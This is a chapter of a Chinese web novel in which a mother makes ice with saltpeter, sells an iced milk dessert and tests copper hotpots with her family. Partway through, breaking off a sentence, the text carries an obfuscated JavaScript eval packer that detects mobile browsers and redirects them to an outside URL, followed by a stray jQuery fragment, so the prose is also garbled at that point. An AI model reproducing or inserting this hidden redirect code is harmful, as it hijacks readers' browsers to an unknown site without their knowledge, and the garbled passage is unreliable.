“还没有消息，等贾大人的信儿呢！唉！贾大人走这一阵子，这镇里都被刘舫那小人嚯嚯完了，贾大人得一件一件审理呢！”秦嘉言叹了一口气，接着问道：“掌柜的，你这儿有硝石不？我要多来点。”


    掌柜听到她想要的东西愣了一下：“啥？硝石？你要那东西干啥？是入药的么？这东西平时可没人买，放着都快一年了，也没卖出去几两。”


    “哈哈，那你今天可有大主顾了，帮我找出来把，先称五斤。”秦嘉言笑着说。


    掌柜的赶紧去里屋翻找，一会儿就从屋里拿出一个破布包，放在秤上称了称：“一共五斤，不多不少，给五十个铜板吧。我一共也就这些，全被你包了”


    秦嘉言付了钱，又问：“掌柜的，你这有大一点的瓷盆吗？我还想要一些稻草。”


    “有，瓷盆在上面，我一会给你拿，稻草后院多的是，你要多少自己拿多少就是，不要钱。”张掌柜指了指柜子上的大瓷盆给她取下来，又指挥着秦嘉言去后院拿了一大捆稻草。


    付完钱，她拿着一捆稻草，手里拎着一大堆东西往回走，路上遇到了隔壁的金老板，金老板笑着问：“秦娘子，买这么多东西干啥呀？”


    “这不没什么事么，做点东西。还不知道能不能成呢。”秦嘉言笑着应道。


    “看来您这是又要捣鼓什么新鲜玩意了，要是有好的，别忘了我哦！”金老板赶紧过去帮她把稻草拿着


    “那不能忘，放心吧，少了谁也不能少了你的！”秦嘉言真心的甘心眼前这个胖乎乎的人，之前卖金蛋卤煮的时候，这人就没少帮忙。自己家被郭宜那群人打砸的时候，也是这个人第一时间帮忙作证。


    两人说说笑笑很快就到了‘聚鲜馆’门口。金老板把东西放到大门口，就拍拍肚子离开了。刚进屋，三个儿媳妇就围了上来，赶紧上前帮忙把东西拎进后院。“娘，您买了这么多东西啊？早知道我跟您一起去了，帮着你提着东西也好啊。”


    刘菇刚想上前摸摸那袋硝石，“娘，这就是你说的那个能制冰的东西？看看起来挺普通的呀。”


    秦嘉言连忙拦住了她：“别拿手碰，这东西有点凉，先放着不要动。”


    秦嘉言把刚买的个大瓷盆拿出来，又从后院找了一个小的瓷盆放上去，周围铺上稻草，又把小一点的瓷盆放在大瓷盆上面，两个瓷盆之间留了点缝隙。


    “定馨，你帮我把硝石倒进缝隙里，尽量铺匀点，拿勺子往里面舀就行，尽量别沾到手。”她指挥着大儿媳妇，自己则去井里打了些凉水，倒进上面的小瓷盆里。


    “娘，这样就行啦？看起来好简单。”刘菇凑过来看，眼睛瞪得大大的。


    “还没完呢，哪能这么快。”秦嘉言又往缝隙里加了点水，“顾毅说这硝石遇水会吸热，过一会就能把上面瓷盆里的水冻成冰了。咱们得等一会儿看看是不是真的能成功，别老碰这瓷盆，太凉了。”


    几个人都围在瓷盆旁边，认真的盯着里面的水，看能出现什么奇迹。李定馨细心，还找了块干净的棉布盖在上面，防止灰尘掉落在里面。


    刘菇时不时伸手摸一下瓷盆外壁，“娘，好使，还别说这瓷盆真的凉了，我摸着比井水都要冰呢。”


    陈玉桂也想摸，被秦嘉言拦住了：“你可别乱摸，你还怀着孩子呢，这盆太凉了，对你不好，你还是离远点。”


    大概过了一个时辰，秦嘉言掀开布，往大瓷盆里一看，眼睛瞬间就亮了，那个瓷盆里面的水真的结成了冰，虽然不算太厚，但确实是实实在在的冰。


    “成了！成了，还真的好使，我们真的做出冰来了！”她高兴地说。


    刘菇赶紧凑过去看，伸手小心翼翼地摸了摸冰面：“冰！真的是冰！娘，您太厉害了！这大热天的，居然真的做出冰来了！我的天啊！这也太厉害了吧！”她的声音都有些激动，笑得格外开心，脸都笑的红扑扑的。


    李定馨也笑了，脸上露出惊喜的神情：“娘，有冰太好了，这下咱们鱼丸有救了，放在冰上镇着，好几天都不会坏了。”


    秦嘉言笑着点头：“嗯，那肯定的，来你看看是不是特别凉。”她找了把小勺子，敲下来一小块冰，递给李定馨。


    她接过冰，冰凉的触感让她忍不住打了个哆嗦，但脸上笑得特别开心：“娘，真的好凉啊！跟冬天的冰没什么区别，冰冰的！”


    秦嘉言看着冰，忽然又想到了什么：“有了冰，咱们可以做冰酥酪，冰镇糖水之类的东西，现在天气虽然凉了，但中午也热得很，说不定能很受欢迎。”


    “冰酥酪？什么是东西？吃的吗？好吃不？”刘菇好奇地问，手里还拿着那块快化了的冰。


    “就是用牛奶喝酒酿做成的甜品，淋在冰上，可好吃了，解暑，还不腻。”秦嘉言解释道，“反正现在也没什么事，我们可以试试做着看。定馨，你去拿点牛奶来；玉桂，找些白糖；刘菇，你把之前店里剩下的酒酿拿过来。”


    三个儿媳赶紧分头行动，翠兰去厨房拿了一小罐牛奶，是前几天从隔壁养牛户家里买的，一直放在井里镇着；李梅找来了白糖，还顺便拿了个干净的小碗；春桃则跑去屋里，把昨天做的酒酿抱了出来。


    秦嘉言把牛奶倒进一个小碗里，加了些白糖，又舀了一勺酒酿进去，用勺子搅绊均匀。“把这个碗放在冰上，镇半个时辰，冰酥酪就做好了。直接就能吃，简单吧！”她把小碗放在装冰的瓷盆里，又在碗周围撒了点碎冰，“这样凉得更快。一会你们都试试看。”


    刘菇蹲在旁边，眼睛一眨不眨地盯着小碗：“娘，这样就好了？牛奶加酒酿那得是什么奇怪的味道啊？能好吃吗？”


    “娘的手艺什么时候差过，肯定错不了。”李定馨笑着拍了拍刘菇的肩膀，“一会好了，我和玉桂先试试，你要是怕不好吃，可以等我们尝完了告诉你味道后再说。”


    “那可不行，我可是要试第一份，娘做的东西肯定差不了。”刘菇撅着嘴说。


    等了半个时辰，秦嘉言把小碗从冰上拿出来，碗壁上结了一层薄薄的冰碴，里面的牛奶已经凝固成了半固体状，散发着淡淡的奶香味和酒酿的甜味。“这就好了，你们都过来尝尝吧。”


    刘菇第一个伸手，秦嘉言给她舀了一勺，她赶紧放进嘴里，冰凉的触感瞬间传遍全身，甜而不腻，还有淡淡的酒酿香，口感细腻顺滑。她眼睛一亮，直呼：“好吃！太好吃了！娘，这冰酥酪也太好吃了吧！比糖糕还好吃！大嫂、二嫂你们也赶紧尝尝！”


    李定馨也尝了一口，点点头：“确实好吃，凉丝丝的，要是盛夏的时候吃这个，这得多解暑啊。”


    陈玉桂细细品着，说：“甜度刚好，奶香味也足，要是拿到铺子里卖，肯定有人买。娘，你这手艺也太无敌了吧！”


    秦嘉言看着大家的反应，心里有了主意：“那咱们就做这个冰酥酪卖，正好鱼丸我还有其他用途，明天在店门口摆摊试试，等着贾大人把案子判完，咱们家的饭馆就能正好开业了。”


    李闻生刚好从外面回来，看见满院笑呵呵的女人问：“娘，你这是有要卖啥？你又做好吃的了？”


    李定馨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478180|176884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赶紧把冰酥酪递给他：“相公，你尝尝，这是娘新作的冰酥酪，可甜可好吃了，娘说要放在铺子里面卖。”


    李闻生就着媳妇的手，尝了一口，眼睛一下子就亮了起来：“好吃，我这个大老爷们也觉得好吃，不想糖糕那么腻人，真不错。”


    李玉生吊着个胳膊从屋里出来，也凑过来尝了尝：“好吃，冰冰的，现在天气还不算太凉，中午的时候日头还嗮得很，咱们就中午卖，肯定会有人买的，就那些个大户人家的小娘子，最喜欢这样甜滋滋的东西了。”


    陈玉桂算了算账：“牛奶、白糖、酒酿，这些东西成本不算高，要是能卖得贵点，能赚不少银子呢。”


    刘菇连忙道：“娘，我能帮你做，这冰酥酪制作方法简单，我肯定也能做好的。”


    秦嘉言笑着点头：“行，那就这么说定了，大家都试着搭把手，早点赚到银子，咱们就不用等贾大人那边，直接就把咱们的饭馆修理好！”大家一听，都高兴起来，院子里又是一片欢声笑语。


    接下来的几天，一家人忙着做鱼丸和冰酥酪，李定馨和陈玉桂负责做鱼丸，刘菇则是帮忙做冰酥酪。鱼丸做好就直接冰冻起来，冰酥酪则直接拿到前面饭馆的大街上去叫卖。


    没想到，冰酥酪一上架就卖火了，镇上的人都好奇这新鲜玩意儿，尝过之后都说好吃，不少人还回头再来买，有的大户人家甚至提前预定，让他们每天送些过去。


    十天很快就到了，秦嘉言带着李闻生一大早就去了铁匠铺，铁匠师傅已经把火锅全部做好了，是个整个黄铜做的火锅，看着亮闪闪的，中间有个烟囱，大小正好，比秦嘉言想象的还要好。


    “师傅，这就是我想要的样子，你这做的也太好了！”秦嘉言拿着一个铜火锅用手直摸。


    “我这也是改了好几遍，你说的这玩意可挺费功夫的，我带着所有徒弟研究了好几天，还行，总算是赶出来了，不枉我费了这么多天的心思。”铁匠师傅笑着说。


    秦嘉言付了剩下的钱，和李闻生把所有的铜火锅都放在里驴车上，拉回家。一路上，不时的有人指指点点，这‘聚鲜馆’又弄出什么名堂了？


    刚到聚鲜馆的大门，就被外面摆摊的刘菇看到了，她兴致匆匆的跑过来，也不管摊位上还在排队的人，嚷嚷道：“娘，你这是和大哥又弄什么去了？这就是你说的那个什么锅？瞅着可真好看。”


    “这就是火锅，等冬天吃，可暖和了，还特别好吃。”秦嘉言示意李闻生帮着刘菇把剩下的冰酥酪卖了，自己喊了李水生和李定馨他们帮着把火锅都搬到了后院。


    “娘，这就是火锅？咋吃啊？”李玉生也跑过来伸手摸了摸火锅，冰凉的铜面滑溜溜的。


    “可简单了，今天赞赏，咱们一家人先试一试。”秦嘉言笑着说，“定馨，一会你去喊你相公去买些羊肉、青菜、豆腐，再买些粉丝。”


    “唉！”李定馨应了一声，连忙跑出去喊李闻生。


    “这东西的精妙之处在于蘸料，一会你把家里的小磨盘找出来，我要磨点芝麻酱。”秦嘉言交代李水生。


    傍晚的时候，东西都准备好了，李闻生买了一大块羊肉，被秦嘉言切成了薄薄的肉片，还买了菠菜、白菜、豆腐、粉丝，摆了满满一桌子。


    秦嘉言还调了好几种调料，芝麻酱、韭菜花、红腐乳，还有炸好的蒜末，全都码放在小碗里，五颜六色的，看着就有食欲。


    秦嘉言往火锅的中间添了几块烧红的木炭，又在外面的一圈里倒了些下午熬好的骨头汤，盖上盖子，等着汤烧开。